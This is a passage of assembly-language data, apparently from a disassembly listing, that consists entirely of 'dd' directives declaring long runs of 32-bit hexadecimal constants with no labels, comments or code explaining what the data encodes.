		dd 0F4E242C8h, 9F8217ADh, 2FC65542h, 37AD3C4Bh,	7DF82D31h
		dd 0C5CF83E4h, 423A767h, 656C482Eh, 316041E3h, 0EEF0013Bh
		dd 7FF6006Fh, 246C8F70h, 0BD5814D3h, 268CCB61h,	0DDDC5D27h
		dd 0E9604B78h, 5FAA29D9h, 5F3BF102h, 0F6F6AA3Dh, 0D2500C86h
		dd 673AE56Ah, 3E0F2B8Ah, 0DEEF252Bh, 47D7B13Bh,	9A2A4EC4h
		dd 63F89B5Dh, 0F74B5566h, 0AF2581A7h, 0A8A6829Ch, 182A6154h
		dd 0F93A7714h, 96D721ECh, 442B2D11h, 0CE5EAFCBh, 509A8C37h
		dd 83A9EA2Ch, 0CE4EFC53h, 83146D14h, 2784DC50h,	452A1369h
		dd 70843D82h, 1EABFEACh, 0A995CE76h, 1253A3B4h,	7FAB4FDEh
		dd 0DE171151h, 0ED49B6E6h, 481D0A91h, 70B6DE77h, 0EAD53091h
		dd 994542Dh, 63643679h,	0E9E87658h, 71B7C7B9h, 3E3F29F5h
		dd 368A873Eh, 0D2F3BB7Bh, 12EF1DBFh, 8A7E6C08h,	4A999903h
		dd 0E6EC5BACh, 0F290E39Ch, 9E48F284h, 0EE0975B6h, 3835B3D7h
		dd 434ECE23h, 0C21D4596h, 9703FC0Eh, 51655924h,	5ABAD3D3h
		dd 60F39559h, 43AEEFEAh, 0C2710F78h, 4396715Bh,	5C657F02h
		dd 675B4580h, 62DE7B3Ch, 0BAABF54Bh, 33F24237h,	6BADB4F8h
		dd 0E3F1F579h, 0EA877068h, 7AC2AF3Eh, 666E6BEDh, 41F91560h
		dd 0E88BDBFDh, 37029827h, 832CC185h, 8B65E44Fh,	5E3F4C0Ah
		dd 7973012Ch, 0EF31ED36h, 8785C3B5h, 0DFEA64DFh, 3D649348h
		dd 93DC283Ch, 0AB8DE5D0h, 0D6894F5Bh, 0D1E17A25h, 69907B00h
		dd 207B94E0h, 4CAD8C4Eh, 6B8F4DD6h, 95F4D706h, 8D489A3h
		dd 0F3E6BDBFh, 0F20BA50Ah, 513BDDEAh, 620D80B6h, 2BF7E187h
		dd 3AFC51DEh, 58B3350Bh, 2FC6C666h, 0E7084D97h,	201C297h
		dd 2EAEDF82h, 6B090C85h, 2FF1D4DCh, 59E9E041h, 9F606364h
		dd 0FB58A950h, 50BE6D57h, 0B633386Dh, 9B192ABAh, 622BE0E9h
		dd 8533201h, 0F88587F4h, 8EAB7E5Dh, 8346F33Fh, 0CD01A275h
		dd 0C45E5534h, 1D2E16CEh, 0EE942F10h, 0DBD88A04h, 54452775h
		dd 26413867h, 60E17176h, 852A8565h, 7F3E9D48h, 0EA1B312Fh
		dd 0D71EC037h, 1E17BAFh, 0B239A3F2h, 0E920BF21h, 6EB4DA69h
		dd 5D2AE25Ah, 8CC34191h, 3F4C41FFh, 7E620311h, 969A6D67h
		dd 6973EF6Ch, 42B91A9Dh, 0D38C39Dh, 4BBB064Eh, 0D908CE3h
		dd 0DF6532B8h, 8CE6B196h, 797F9ACFh, 2BFA1A2Fh,	10D08534h
		dd 0B2D650Bh, 92DF03AFh, 5C19D498h, 15883B4h, 5D8DDAB9h
		dd 3A7C450Fh, 3D8DDFD8h
		dd 7D1D8308h, 8C041DDBh, 62C53CC7h, 0D9F34DD9h,	0E9EF73ADh
		dd 9BC942CDh, 0E402F302h, 0B5DEFE5Ch, 0F5F16F01h, 0CF0AD9EDh
		dd 3FDE0AB8h, 0B1AFA9D7h, 0C587C0D1h, 0C82C141Ah, 0D6C950AFh
		dd 5ED1F652h, 8EBB83BEh, 0E653DC8Ch, 611122BCh,	15F8908Bh
		dd 0F15D75DBh, 0C2D36419h, 0C8F41DBFh, 0E76B8285h, 0E1780A3Ch
		dd 0DAFD30D3h, 0BA1369D3h, 438E0178h, 0C0514A7Eh, 5D91AD76h
		dd 64CC455Bh, 17AC0EB8h, 1F878D89h, 19417B45h, 0F7C07C89h
		dd 6C5A7886h, 51EBAEBBh, 0E1C11287h, 0D4FC09EBh, 0C0109209h
		dd 5C654056h, 896A4F93h, 60617127h, 0CBC87BFBh,	77C9E11Bh
		dd 885ADB7h, 0FC620D70h, 0A2FCCC93h, 0F69CC8EDh, 33EAA589h
		dd 0EAE30E49h, 0F8E650A7h, 0F71545B4h, 0B8D87F9Bh, 7DB928DEh
		dd 511E6B55h, 86D4E2C8h, 0FD976CBBh, 1EC418F2h,	0F42F9F95h
		dd 37ABC8E2h, 160C947Bh, 80936E9h, 0C4002BC2h, 0DEAA8411h
		dd 619C5AAEh, 4B1F4214h, 537AC700h, 38EFF223h, 0DF922480h
		dd 52FC635Fh, 77EDAF6Ch, 1CE8C20Eh, 0C5B6FECh, 71E68A94h
		dd 54558093h, 132DD900h, 0B0A088EFh, 78637178h,	35A059B9h
		dd 56613FEEh, 0F2CE85A3h, 2A8701F2h, 226B258Dh,	0A8623EA5h
		dd 0A1BBB2B4h, 0C7294558h, 28063037h, 4C253AD1h, 0FB0F0A87h
		dd 73F1E8Bh, 584AE922h,	8C70528Bh, 8F05198Fh, 0BA01C3ABh
		dd 799CF537h, 0C634C5C7h, 0C1C89AF2h, 0D2D528E5h, 547FE4DDh
		dd 0DE9CF99Bh, 8517EB2Dh, 0DBD8B1B6h, 643ACD52h, 0ADFEC65Ah
		dd 54F023EDh, 6A7611CCh, 74D9A8BAh, 0BB9544F0h,	0C9BB1E4Ah
		dd 0BD1CE14Dh, 78DB8521h, 1A7DA5BCh, 7E2C3451h,	0CBAEE0ECh
		dd 3392012h, 284BCC1Bh,	1EC7120Fh, 0F7A68882h, 613AB32h
		dd 5F1D5900h, 0A6AFE1BAh, 0C85B9A92h, 3369337Dh, 43F10B67h
		dd 0BAB1BCEh, 0FB7AF59Fh, 6041D883h, 2B1FD47Bh,	1EA33C7Ah
		dd 2E8E2157h, 0C3219650h, 890C3A08h, 74438F14h,	5B2A4828h
		dd 0BC723D23h, 0FFDD557Bh, 0E05E6345h, 17A5B918h, 0BB81172Bh
		dd 60FEA353h, 0A0975770h, 0D13D143Dh, 5BE3D180h, 31998723h
		dd 62DB4E98h, 0D2CDDB7Ch, 34368F09h, 0D070FC9Ch, 3522954Dh
		dd 803F35DBh, 0F971965Dh, 0C24C9870h, 51C0D2Ah,	4DDC8D62h
		dd 0E665B75Dh, 1D234A58h, 0FAD06630h, 0C82E64CAh, 70ACD286h
		dd 47DEAB1Bh, 870070B1h, 22BE0D65h, 0C8291704h,	0DB7A3275h
		dd 11EB7BBDh, 0F7F7A1B3h, 25857149h, 5594EAC6h,	0D94B5FD7h
		dd 144C2E0Ch, 26B141BEh, 7AF948CCh, 0B9B9B167h,	3B68D99Bh
		dd 2B5D81EBh, 4930A8h, 97956862h, 0B6C5A264h, 0C4D3FD38h
		dd 752B657Dh, 0FE93E8ABh, 0D5B90752h, 5A4B214Fh, 0D57E973Dh
		dd 5F1A3BF1h, 41EA8EDDh, 6920BD4h, 53A12519h, 9B7EBBC9h
		dd 307E68FBh, 84E985EFh, 0A11E1650h, 0FF6B4424h, 0D55AB317h
		dd 629C2A9Dh, 87AC7A42h, 2F36EF7h, 25DE5EB5h, 6E845886h
		dd 0BDDEA551h, 9C4477DFh, 3CC48165h, 0F60C3D0Eh, 0A5BC9514h
		dd 210CE3FCh, 97045EFBh, 63241F32h, 2A76900h, 44DE809h
		dd 49A6020Ch, 935A6D2Dh, 2520BC1h, 0D3809069h, 0D194366Eh
		dd 30C46327h, 5BDF3FD1h, 564B349Ah, 97914788h, 8257EB56h
		dd 7BED37Fh, 1BC4F962h,	1C1DDB1Eh, 0C29A0FECh, 4BF875E6h
		dd 0FFCF52DDh, 47A2061Ch, 0C49E4925h, 20AA500Dh, 0BBEC4E61h
		dd 0D76C0F49h, 4D92354Ch, 2AAE5ABAh, 61CF5F91h,	0C8F78B93h
		dd 49974AB8h, 7C9733EEh, 6A789F4Fh, 8995CFCDh, 26080274h
		dd 0CA192163h, 6ED99006h, 5197BCFh, 9E95AFDh, 0BEA24316h
		dd 47EEE3F6h, 143348C7h, 0DAC72EF5h, 0EECBB211h, 4DC3C372h
		dd 0AC5CB059h, 22512CA8h, 2B9DC775h, 0AD642B98h, 635760C2h
		dd 5EF5098Ah, 0F1DC96C9h, 0E7F242A2h, 9D3203FDh, 60F612C9h
		dd 5B2A1136h, 0AE45AB0Eh, 3A8DB153h, 0C83ECF16h, 45D1B1A9h
		dd 936E6E78h, 261D0998h, 7FB7E3D4h, 19FFA910h, 0BA064C08h
		dd 0C7567866h, 15F3045h, 0FCB97157h, 0BAA4FC04h, 0E60E5569h
		dd 0F0FE3927h, 43B0C682h, 92D3ACF1h, 0A6C9D6DBh, 9766B673h
		dd 3B86CE2Dh, 9C78347Ah, 0F6F981A9h, 97DC4757h,	0F9690FE9h
		dd 0F499FCD1h, 249ACA2Ch, 6BA6F8BFh, 2D313B36h,	0FFFFE2A2h
		dd 802A7CADh, 0C3308F1h, 0EF73C88Ch, 61F9F872h,	7DFAA848h
		dd 0FF399DFCh, 28675F7h, 0C46D1447h, 0B439BC10h, 52887195h
		dd 0C1737190h, 1613BC85h, 0E9760321h, 99C73E2Fh, 0EE11E8BEh
		dd 0BAC4983Eh, 1EDA6960h, 0FCA27924h, 0DD19219Ah, 0EDD3FB96h
		dd 0A63C9032h, 3929726Ch, 20D504A4h, 0C3ECAE5Ch, 7F416DC5h
		dd 0EDDFDCE0h, 5BF71266h, 54744103h, 0A62ECCBFh, 3FD7D0E5h
		dd 35FEBA80h, 0A26B2A8Dh, 0D7DC59h, 0E70D2F21h,	0C527E145h
		dd 0A24DBA40h, 3734D8E9h, 0BD680F67h, 46EE68DBh, 726A72AEh
		dd 0C9328335h, 69F9D699h, 7F9C7090h, 0B5A4ECE1h, 0FE0E3764h
		dd 82DE437Dh, 0A20FAC48h, 8AAC2A23h, 2CDC73F4h,	7F1A79F9h
		dd 4E7D4D55h, 0A408C367h, 1A19400Dh, 86EA9796h,	0F18AD3FCh
		dd 0EDB3CC24h, 1CA2B4BDh, 0AE360752h, 89D6ED94h, 8A1C32DFh
		dd 141086D5h, 52CA7EEDh, 0A12F1B20h, 49D577B9h,	0FAB7618h
		dd 311DC723h, 5F3F1824h, 0B3FE09EDh, 9E6FD50Ch,	31C17CAFh
		dd 9F0BD54Ch, 0D3B58F2h, 5DC4078Dh, 0DB26FE15h,	217CE881h
		dd 46BA8296h, 0D28F74A2h, 0ECA71918h, 0C59A14DCh, 7AD4091Ch
		dd 7D8205FCh, 0A7C6F2F1h, 29204DFBh, 0AD88069h,	9E79A236h
		dd 22EFFD95h, 0AF40FD64h, 1E6E2B9Fh, 290635D3h,	0E4D6B4Bh
		dd 143121FAh, 0FEBCD6D8h, 12A090D3h, 0C1EE632Bh, 40F9E01Eh
		dd 1127F3C7h, 8AF89BB5h, 0DE64F7h, 3AAF6CE9h, 84DBCD9Eh
		dd 5C9DEF09h, 0E847B0BCh, 2345CB67h, 3EC07CF8h,	0B54B4206h
		dd 4E20827Ah, 259758E5h, 19A3B3F4h, 767E510Eh, 37B213BEh
		dd 4DEF5461h, 9D0BE356h, 0FC942EC8h, 8C79F23Ah,	1DD0CC67h
		dd 674EE259h, 39C800CEh, 5851EBFDh, 0EA1F46B7h,	0BFF9271Eh
		dd 57646D6Dh, 75D34889h, 1EF14645h, 278B89F4h, 617A1B21h
		dd 639C6A59h, 3886C9E5h, 0A907826h, 53C6607Eh, 7C7B97C9h
		dd 0BC6C9738h, 9F52F7Fh, 804CFDFEh, 25AB3308h, 0D716A89Ah
		dd 0C3360E5Ah, 92128C57h, 615105FAh, 0C8A7FD8Ah, 0FC7B9DACh
		dd 7CC7F14Dh, 967A5A93h, 8E38F10Ch, 259D4BB8h, 4A6FD7C0h
		dd 2DD5433Ch, 8766E5F4h, 69D3EDC0h, 78EAD7F8h, 78B6C5F0h
		dd 6848C4EAh, 853AD7C3h, 5780E1A1h, 8ECB6043h, 0C6A01B2Eh
		dd 7B2D3F7Fh, 0FA7399C3h, 3779274Ah, 24A4DEEDh,	0AA215E52h
		dd 1E2783EBh, 0CE5388DFh, 12C9F825h, 0B9184644h, 5ACDD1A0h
		dd 0BF3A3CB0h, 0C073C500h, 0A9D8C413h, 836A4D2Ah, 13139BD0h
		dd 8540F167h, 2F74E3B4h, 420B21BEh, 44EF7194h, 99883F3Ch
		dd 1DD78597h, 113F7ECEh, 4C111DB5h, 0D61E72A0h,	7F1EA462h
		dd 0B873D0E1h, 0C2B07932h, 1777F91Dh, 7993811Fh, 50E45131h
		dd 0B84D3360h, 66540BA5h, 222D6D9Ah, 9F9870E6h,	3F09FFDBh
		dd 62EF959Bh, 1B69B412h, 1BD1C510h, 0BEB952DCh,	178136FFh
		dd 36CADD72h, 91206FD5h, 78DB1425h, 0F81DFDD8h,	21486CF8h
		dd 80974122h, 985F50E1h, 16C43C13h, 0D2D1BFBCh,	4941345Eh
		dd 78E937D1h, 3135601Eh, 0FFF7170Ah, 4C789DFh, 0BCF614B7h
		dd 69C95683h, 69928C48h, 0A2511AC5h, 4FFE2C65h,	0EACC5D5Bh
		dd 0B2D64635h, 57F92734h, 0A9B3D5D1h, 0D350AE7Dh, 0F089B143h
		dd 0D938A601h, 573E973Ah
		dd 2246C659h, 27CA7F1Fh, 8D19DBAEh, 7D1D1930h, 7D6D5633h
		dd 1E717A29h, 6874D704h, 0EC83A852h, 913FD339h,	0E7845F56h
		dd 0FCF8EB14h, 8A5AF887h, 124B0C2h, 0E68894F2h,	0B548FF7Fh
		dd 0E37F07EBh, 0DB4F94Eh, 0E74E05Eh, 0BFDA4FD2h, 0D1A0AEE4h
		dd 0EE21B61Ch, 0D54DCBCDh, 0D14A3159h, 670CDC56h, 88EB0084h
		dd 88827821h, 7D1D626Bh, 0ABFCC4A3h, 401FEEFCh,	0DA47D040h
		dd 6523ED31h, 0D6518F60h, 691BFCC3h, 0B0752292h, 7F1B9F28h
		dd 8DC9F1C5h, 0ECCD07C7h, 0F6B0BC15h, 0CB627C3Dh, 288D49DBh
		dd 8ABB4E2Ch, 0B2A474DDh, 42937EA2h, 0AD1B43EFh, 0A74EAE07h
		dd 24E108C4h, 0CB1FAF9Eh, 1E9ABEAEh, 24C334F8h,	9A3DBB2Dh
		dd 88ADCAFAh, 0BB238047h, 661662E9h, 0CC73301Ch, 49D60B43h
		dd 0C9DBB128h, 0A52E6597h, 0D1848B4h, 47C52520h, 97F36A39h
		dd 7992ADA0h, 47E7BFE3h, 675F7CF5h, 17E269FDh, 0C99481B7h
		dd 0C198701Ah, 0A0FC423Ah, 4CB8FCE8h, 0EE8975F8h, 4B9BDA0Ch
		dd 27F823B4h, 6CFBB92Ch, 0ACD3AB20h, 1B7FC5Ah, 40C14EEBh
		dd 0B8CB7BA3h, 51C50380h, 0A865AE1Bh, 0FF405158h, 8E870A60h
		dd 7C6F1DC0h, 0A7036F31h, 7DA39359h, 700CB77Fh,	6D134ED4h
		dd 0C8DA6AA3h, 3B9FB864h, 384F80CDh, 46C881FAh,	602B49E5h
		dd 0ABCCDA44h, 0D9BB082Ah, 3830AA71h, 0B0499B3Ch, 0DBAF8EBBh
		dd 0BF6593A7h, 76BB8DC5h, 9647CCB5h, 4EE0F3E3h,	0D51D8A9h
		dd 16375178h, 51831CB2h, 30019BBAh, 3A10964Ch, 4D5BC745h
		dd 0E524E8E9h, 0CD51F11Ah, 0B01D10E1h, 0EB198AEBh, 93913241h
		dd 0EA6D5AE8h, 0DEC84A8Dh, 337105BDh, 943AC166h, 66F077BEh
		dd 0ED8CB148h, 0B10181Ch, 8230FE9Dh, 0E79C57BBh, 1B61CF6Fh
		dd 0BE37B52Dh, 6794741Bh, 0FD2FDF2Dh, 525A227Dh, 0E29CB09Eh
		dd 0D4F259C1h, 47E9BB70h, 0ADFA9FB5h, 0B230731Ch, 381E3C2Ch
		dd 93F601EAh, 3C5E75FDh, 5AD59592h, 7AAF94ABh, 82653921h
		dd 540C1B04h, 4E184330h, 273E3474h, 21B3899Ch, 54BE8C80h
		dd 17833775h, 7ADCD0E5h, 0F9D60F79h, 246C97E1h,	15F5EA2Bh
		dd 0C1721A42h, 8FE418DCh, 52D021EDh, 67910F2Bh,	0B98F798h
		dd 0CC12B735h, 0B3DC9BD3h, 19D6B959h, 5316ADAAh, 0E0101977h
		dd 3B554690h, 0DA1D2AD3h, 0FEC52D05h, 1EAEB3BBh, 0A3C0EB56h
		dd 0E83082B7h, 31EBDA56h, 3BD5ADDBh, 0F17A2197h, 4575C150h
		dd 0CE150D1Fh, 0FD8401B7h, 0B85913A5h, 0CCA7998Dh, 72CD692Ah
		dd 5F0ED49Fh, 75B5685Bh, 2C8CEDB0h, 0F3C5F500h,	0E14EFF20h
		dd 5D4409C3h, 0D9D1AA26h, 95AB60C6h, 0C3372B1Eh, 0ADF5A81Ah
		dd 0F558D029h, 1EA75830h, 1C71D0B7h, 0A6E75206h, 67B67766h
		dd 9608EE2Fh, 0A301E5E0h, 0BF452FB0h, 0F6639B14h, 0D558FBC9h
		dd 0B4FB2C31h, 0A06DB4BCh, 0F19CD4F8h, 0EBD11740h, 0F37FE01Ah
		dd 1FA4971Eh, 0EEAD4DB7h, 3A8EFD7Fh, 0DF910A4Bh, 3A01AA23h
		dd 0FF4131B8h, 7096DE50h, 24DDE79Bh, 0DCA941Bh,	0EB442FE9h
		dd 0C23DD27Bh, 8FDD1433h, 0D1B9C26Eh, 1A79BF1Fh, 6AC2D9D5h
		dd 6CB1986Bh, 0BD3C07Ch, 72A3E72Bh, 6F46E9E1h, 7DB747D3h
		dd 34C9C333h, 0A7ECA6FAh, 920D373Fh, 0F0F67246h, 0C24A57Dh
		dd 0F01FEFFh, 0F1FB952Ah, 26B1D699h, 9644EA3Fh,	889D646Eh
		dd 0B865619h, 3FCCF4h, 0FD3FA6DAh, 4EF81ABBh, 0B8377144h
		dd 0C8DAD533h, 7140A7A9h, 34B25AA4h, 0FA864A1Bh, 3302206Eh
		dd 0FC01FD25h, 0C6F989D6h, 19265A14h, 0BB4CC647h, 3B0B8DADh
		dd 90831BBh, 0D53471D3h, 41CE64B0h, 1D3737D4h, 3A11743Dh
		dd 73D184D9h, 0AAA28044h, 0F32DA725h, 0BC4836F1h, 575F5E58h
		dd 76CD4EBCh, 0A08CB6FFh, 0B07715FAh, 8F74D637h, 61F8BE05h
		dd 0CDA4BD1Eh, 0BCDE1D8Fh, 0B1FEE361h, 5CD6CFD0h, 82219B56h
		dd 1A574782h, 881607A5h, 3CADC6B8h, 0FBA1FE55h,	0ED0B62CAh
		dd 0C4E91CAAh, 518E0546h, 8E8FBC13h, 0AAD78471h, 6AA7D91Bh
		dd 0CA5E9B5Dh, 585A2BC0h, 101FEDF7h, 0ED4B33DEh, 8825E8D4h
		dd 3ECA3C3h, 0A0C1A045h, 0C6571D19h, 0F97CE061h, 0E521333Ch
		dd 0ED9BC85h, 87145E00h, 94929D3Eh, 6302904h, 90971B9Ah
		dd 288BF07Bh, 0BACDDD52h, 7A9D75BAh, 0E0B43B27h, 326FE697h
		dd 8ACFBDC6h, 99DAF3EDh, 10D42C44h, 0B7E029A7h,	0D8D6D0E1h
		dd 0AB961C34h, 991003D8h, 0EB6A0AC4h, 5BE12C82h, 3A1205DEh
		dd 34CFD341h, 56E3F224h, 9DF84313h, 700F0D90h, 0C4232308h
		dd 6A0A7B25h, 0C2EC359h, 0AF62666Ah, 1E4AD5A9h,	466E61EEh
		dd 5D4F59C4h, 0AE438E8Fh, 0DB956A3Bh, 9A1FAA01h, 9E69CA5Eh
		dd 0FD71066Ch, 9D523119h, 39D47053h, 703819A2h,	0F29929FCh
		dd 9AF3DEE5h, 79BDCE55h, 2529FD88h, 3B0D396h, 8BB685F2h
		dd 0D9B12C5Fh, 7296832Fh, 39880DC2h, 0EA5A537Bh, 293D0936h
		dd 1515F8Bh, 7B2F4825h,	31F6746Fh, 808E5626h, 14DE56B4h
		dd 0A47DC99Bh, 1AC4B44Ah, 0BDA5844Ch, 0B39FCF1Eh, 0EA3865C4h
		dd 0F70A31DEh, 0D1D65555h, 5DEAA2EAh, 0F8ECCA14h, 35CFCBF1h
		dd 64854165h, 3768F4A9h, 704BCD4Ch, 0A6D051A3h,	5A992BFh
		dd 4CAC2E21h, 10D5E001h, 0CBD1650h, 64EF6506h, 181E8E07h
		dd 0FBC609D1h, 4DE7A00Ch, 415F5F14h, 0F04B3F13h, 0EE1F14FDh
		dd 1A5D9EE2h, 747014D4h, 6D43C784h, 0BE07142Eh,	6395C35Fh
		dd 28BC57BEh, 6399C180h, 30ADD601h, 5F107DA9h, 0BB766A21h
		dd 69FEFDF4h, 0B73E5FE0h, 0D1443C4Bh, 6AAF1D95h, 0CEB027FEh
		dd 42FE87A7h, 0C133D06Fh, 54D69F8Ah, 7F5010C9h,	4CB4DE23h
		dd 0C06913F1h, 9DF698DCh, 5DC925C8h, 2D1CDC9h, 0F6804EB0h
		dd 0D537DE33h, 0D78EEB1Dh, 3084129Eh, 8ABFDE92h, 2598C3DEh
		dd 185363A6h, 68C12918h, 0DA76499Bh, 0A49B4CDFh, 0BD26D7FFh
		dd 0E9EC1094h, 3F446741h, 17D50327h, 0FF9B79DBh, 2A267ADh
		dd 0BB66A31h, 0AF112F92h, 0D8352773h, 1BDEF1E5h, 0DEF8B641h
		dd 0B7C08403h, 91A13B07h, 0D9754BBCh, 0A4244101h, 2BBE3177h
		dd 9BE00C8Ch, 0D4391E7Bh, 90054BE3h, 0B52EA859h, 49530C05h
		dd 9DD2DB4h, 0B43A3DD5h, 0E8715E03h, 2187DE98h,	0FD38C019h
		dd 7183DFD3h, 3510A39Ch, 0BAD7CB7h, 0F7C52357h,	16F843D3h
		dd 61FF6682h, 3CFAA698h, 73D4A8AFh, 0A23D0D91h,	0F9C47CCDh
		dd 0B0A90D1Fh, 1088774h, 0F2C3BBB3h, 0F656D84Ah, 76DD0DCEh
		dd 3B9EB2EEh, 4AE8374h,	4FC2EB09h, 0B475AF9Fh, 0BC2B476h
		dd 0D9DC571Ah, 67332F3Bh, 3A08A6FAh, 0D44A8045h, 71DA2A2h
		dd 0B6420876h, 0D0DA815Ah, 0F2FA72F5h, 32134D30h, 879142A1h
		dd 80A682F8h, 28A334BBh, 0E0A6F006h, 91B2B101h,	6CBC6F0Eh
		dd 0CF0CBD96h, 69DC11FAh, 0D064E525h, 14ACBF3Eh, 1078225Ah
		dd 6C295E44h, 0CCE28C1h, 522F5B8Ch, 73B01475h, 66E8AE4Eh
		dd 3EB41E08h, 77B53C8Ah, 5FE69AEh, 3FDD5F74h, 0CC4C94A5h
		dd 3160F2AFh, 0AC6C1891h, 68EDD50Dh, 22D886FFh,	9784AD45h
		dd 0B1C98B2h, 802BB0E4h, 0D2ED650h, 307A70F0h, 14592E44h
		dd 0D59B8113h, 6C8C4AF9h, 235F3ABFh, 559372A2h,	16DAA876h
		dd 7767A601h, 64F79965h, 0F2D9EBC9h, 4FF9A1F1h,	8E5C4FC3h
		dd 68EB2CBDh, 0DC5876FBh, 0D57A38EAh, 6CFA52EFh, 9E4C4FD4h
		dd 81A95887h, 47E7DFF3h, 0EEAA318Fh, 97E52CF1h,	0ED5E2CADh
		dd 0AAD19948h, 0BFC34FFAh, 0C54634E6h, 3C1E5717h, 0DE4731A2h
		dd 35B0675Ah, 7B3698B3h, 85F81439h, 0A592FB61h,	0B7AB316h
		dd 0FC089E75h, 1F85AE62h
		dd 8BD38AEh, 1413367Eh,	539A658Ah, 257F1DF6h, 0A2422AFEh
		dd 0DECCC11Bh, 4C92386Eh, 3F3139E9h, 0BA9FECD9h, 0ED8D36E4h
		dd 0D4FE56B8h, 0DCF74373h, 69F744D2h, 453230EEh, 46551A5Eh
		dd 64667E61h, 6B712552h, 99846016h, 70719C96h, 26666C3Bh
		dd 10B4FE0Ah, 6E230617h, 734AF238h, 616A5805h, 10CFAB11h
		dd 3F3B4260h, 20E25E9Bh, 8E5120DBh, 584BA898h, 1904C484h
		dd 9861BBFEh, 891EAB14h, 0DF5BD2C5h, 0A5F151B5h, 2CF98D74h
		dd 0EE50A0D3h, 7FCC44EDh, 84EFC42Fh, 428C8D0h, 9C764434h
		dd 0E54F6115h, 0D4FBF3EEh, 908C248Bh, 7AE8546Eh, 0CAF78F06h
		dd 81987BA7h, 62A931D7h, 1178B080h, 0DF63576Ah,	0C779CF1Ch
		dd 3EF39679h, 2512DB95h, 0E0C4C152h, 6E6357A4h,	147FEB0Bh
		dd 424FC129h, 0B575F244h, 334D83BEh, 0A8F0FBB8h, 0DC1D42E1h
		dd 2642BD93h, 0CF1ECA80h, 62131970h, 16EB429Dh,	15F4904h
		dd 7A8E18A1h, 27CD1BF2h, 0DDA7C163h, 50CD33ADh,	5537FFC2h
		dd 0E3502DB2h, 28B47BCCh, 0AB87B49Fh, 0FBDD680Dh, 0F4608BBFh
		dd 37C6A90Eh, 30560550h, 4D931F31h, 99C1FEBFh, 0E6EBD30Fh
		dd 4B6FE4C5h, 214A52BCh, 0A9AA2E59h, 2D69103Eh,	642F6053h
		dd 0F71D0687h, 4BF1A1FFh, 7C2F05BBh, 1AF32FF6h,	2FDC354Ah
		dd 7B6A5A38h, 0CFA8843h, 24322EFAh, 95F115C0h, 94853B92h
		dd 2AD62E3h, 79057B28h,	0FDAFB6DFh, 0C64F54Ch, 0E36A2D18h
		dd 972AEC15h, 61DDE5C9h, 8D2F1A87h, 7246C12Ah, 8927D455h
		dd 91F58684h, 0EB0A7085h, 29A37C9Ah, 1925B20Bh,	1A734FA4h
		dd 94E47D0Eh, 0E9E5DAD2h, 844F6F7Eh, 0AC1F57CDh, 9F108785h
		dd 0F4BD606Bh, 7F1D3812h, 0FA8D4C6Fh, 395F9654h, 4EBEBAD8h
		dd 99B5F65h, 0A9614143h, 0ED7AB631h, 0C9E174E6h, 6CC83394h
		dd 0A0EE6A6Bh, 40746E15h, 46DE714Ch, 0CD43C729h, 0A271FEE2h
		dd 3C763A0Eh, 66EB6E3Ch, 0AB0BD8DCh, 5C18340Ch,	0D545409Bh
		dd 9E36690Bh, 80B810C6h, 3F673F85h, 71D9E945h, 0B8476F6Dh
		dd 2E563ADEh, 0DCB927F0h, 447B3DA4h, 8C724089h,	0D30B0819h
		dd 0C79D06B5h, 1D4F0129h, 9B8732DDh, 3A83C3AAh,	0E4848DB8h
		dd 0DA1BF2BDh, 0B3D21E08h, 93B90765h, 81645B6Ch, 68A3E70h
		dd 68FDD22Ch, 6BBBBCB2h, 9FAB0BD8h, 4C41C4F0h, 600AF4C8h
		dd 31696DC9h, 29E6ED33h, 54E1A701h, 7442B827h, 535D354Bh
		dd 0E70CA8F1h, 0C64E3014h, 0C0FCDA54h, 158838CDh, 8284BE97h
		dd 94E3013Fh, 7B5A1AEDh, 8824CDFEh, 0A8525FC9h,	0D18B322Dh
		dd 65A156CBh, 69E423C5h, 4E9171FEh, 0D430B73Ah,	4813E554h
		dd 296B20Eh, 0ECB9B8CEh, 0CEBF7BE2h, 6ACBB7CDh,	4D1237D7h
		dd 2A497CD0h, 5A0FAA13h, 0C7E5AC74h, 7A653F48h,	0FA524324h
		dd 3763E20Bh, 78F64DD7h, 5B164B9Ah, 45084757h, 25785EAFh
		dd 3247D7AFh, 77B28128h, 0B030EE9Bh, 4BC72AEAh,	0EEDB2154h
		dd 9FCCC939h, 64C2A6FFh, 2AF61C05h, 40ADE0D8h, 8F58B86Fh
		dd 626B3D22h, 0AF6B1FEEh, 2AEB2C0h, 5324E10Eh, 6E3BC1CEh
		dd 5AE86E9Ch, 0BDF92AA9h, 0F9DF23A6h, 7E796AC9h, 0BF8AA6B8h
		dd 54941C77h, 3EE69099h, 45ECA63Ch, 0E460C917h,	7BAC295Fh
		dd 3387F749h, 90F71547h, 11DF57A1h, 8FD49C6Eh, 228D8017h
		dd 0EEB831DFh, 8F6CEB91h, 5F2C8149h, 3E93C3B1h,	9511A9F6h
		dd 0E8E832B1h, 0F521A8Ah, 6737EFAEh, 446D33C1h,	65945AB7h
		dd 0E98C5250h, 0AE4AECEAh, 674130EDh, 0EF123267h, 17DA40Ch
		dd 0B8A309A1h, 598EF04Fh, 491B5C42h, 4F5EB6E0h,	0AA7BB222h
		dd 80C7B9BCh, 0FC1D5930h, 6803A73Ch, 65DEBBEFh,	153E4F57h
		dd 342148F4h, 920BB14Dh, 0ECD9D11Ch, 0B09C3D97h, 59C0CE69h
		dd 0F40378DDh, 4E27D54Dh, 0EF364B7Dh, 57D3C550h, 0DD4C0233h
		dd 655B7F5Eh, 991890FDh, 6DD40655h, 1614C4Dh, 0E2DADEEFh
		dd 0E7F51212h, 5A4033CBh, 0DA096AEAh, 0A097E0BDh, 5E651A48h
		dd 0BCC9E676h, 3D694774h, 0F1B96C1Eh, 0C52DFC74h, 857D1D8Ah
		dd 76FA6660h, 1C02C686h, 2CFBB019h, 5C5BC299h, 79DACCDEh
		dd 6ACDF6EDh, 95899655h, 2515BA7h, 477BA3A7h, 0D094DED5h
		dd 0CCF11DA3h, 2ABFF24Fh, 5722052Ah, 0DC590182h, 0B3554E36h
		dd 0AF7154A3h, 30CDD217h, 79DFB73h, 0F5C4B37h, 0D312314Fh
		dd 9290BBFDh, 0E88B5270h, 3E4F302Ah, 84BA3F9h, 1FFB24C7h
		dd 0D6AA4318h, 8846BBC9h, 152295C2h, 0C5A0A63Eh, 8D7C83E2h
		dd 0A8602BCAh, 0CFC5727Dh, 0F8DD3D2Fh, 919D3137h, 0C1429B33h
		dd 0D3CE9752h, 98B0F372h, 0A73B192Bh, 5C5AF2B9h, 2C63DEB8h
		dd 90712771h, 0B036A3F1h, 7C6F7B6Bh, 0B123230h,	2F7794C0h
